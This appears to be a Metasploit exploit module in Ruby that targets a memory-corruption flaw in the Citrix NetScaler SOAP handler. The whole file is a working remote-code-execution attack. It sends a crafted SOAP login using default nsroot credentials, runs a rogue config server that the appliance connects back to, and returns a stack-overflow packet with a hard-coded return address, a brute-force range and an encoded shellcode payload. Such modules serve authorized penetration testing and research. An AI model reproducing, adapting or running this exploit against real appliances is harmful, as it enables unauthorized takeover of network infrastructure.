##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Brute
def initialize(info={})
super(update_info(info,
'Name' => "Citrix NetScaler SOAP Handler Remote Code Execution",
'Description' => %q{
This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance.
The vulnerability exists in the SOAP handler, accessible through the web interface. A
malicious SOAP requests can force the handler to connect to a malicious NetScaler config
server. This malicious config server can send a specially crafted response in order to
trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary
code with the privileges of the web server running the SOAP handler. This module has been
tested successfully on the NetScaler Virtual Appliance 450010.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Bradley Austin', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
['URL', 'http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html']
],
'Payload' =>
{
'Space' => 1024,
'MinNops' => 512,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Arch' => ARCH_X86,
'Platform' => 'bsd',
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'NetScaler Virtual Appliance 450010',
{
'RwPtr' => 0x80b9000, # apache2 rw address / Since this target is a virtual appliance, has sense.
'Offset' => 606,
'Ret' => 0xffffda94, # Try before bruteforce...
# The virtual appliance lacks of security mitigations like DEP/ASLR, since the
# process being exploited is an apache child, the bruteforce attack works fine
# here.
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xffffec00 }, # bottom of the stack
'Stop' => { 'Ret' => 0xfffdf000 }, # top of the stack
'Step' => 256
}
}
],
],
'DisclosureDate' => "Sep 22 2014",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']),
OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine reachable by the target", ]),
OptPort.new('SRVPORT', [true, "The local port to listen on.", 3010])
], self.class)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body received/m
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Unknown
end
def exploit
if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST'])
fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target')
end
if check != Exploit::CheckCode::Detected
fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found")
end
start_service
if target.ret
@curr_ret = target.ret
send_request_soap
Rex.sleep(3)
if session_created?
return
end
end
super
end
def brute_exploit(addrs)
@curr_ret = addrs['Ret']
send_request_soap
end
def send_request_soap
soap = <<-EOS
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<ns7744:login xmlns:ns7744="urn:NSConfig">
<username xsi:type="xsd:string">nsroot</username>
<password xsi:type="xsd:string">nsroot</password>
<clientip xsi:type="xsd:string">#{datastore['SRVHOST']}</clientip>
<cookieTimeout xsi:type="xsd:int">1800</cookieTimeout>
<ns xsi:type="xsd:string">#{datastore['SRVHOST']}</ns>
</ns7744:login>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
EOS
print_status("#{peer} - Sending soap request...")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => soap
}, 1)
end
def on_client_data(c)
print_status("#{c.peerhost} - Getting request...")
data = c.get_once(2)
req_length = data.unpack("v")[0]
req_data = c.get_once(req_length - 2)
unless req_data.unpack("V")[0] == 0xa5a50000
print_error("#{c.peerhost} - Incorrect request... sending payload anyway")
end
print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret 0x#{@curr_ret.to_s(16)}...")
my_payload = Rex::Text.pattern_create(target['Offset'])
my_payload << [@curr_ret, target['RwPtr']].pack("V*")
my_payload << payload.encoded
pkt = [my_payload.length + 6].pack("v")
pkt << "\x00\x00\xa5\xa5"
pkt << my_payload
c.put(pkt)
c.disconnect
end
end
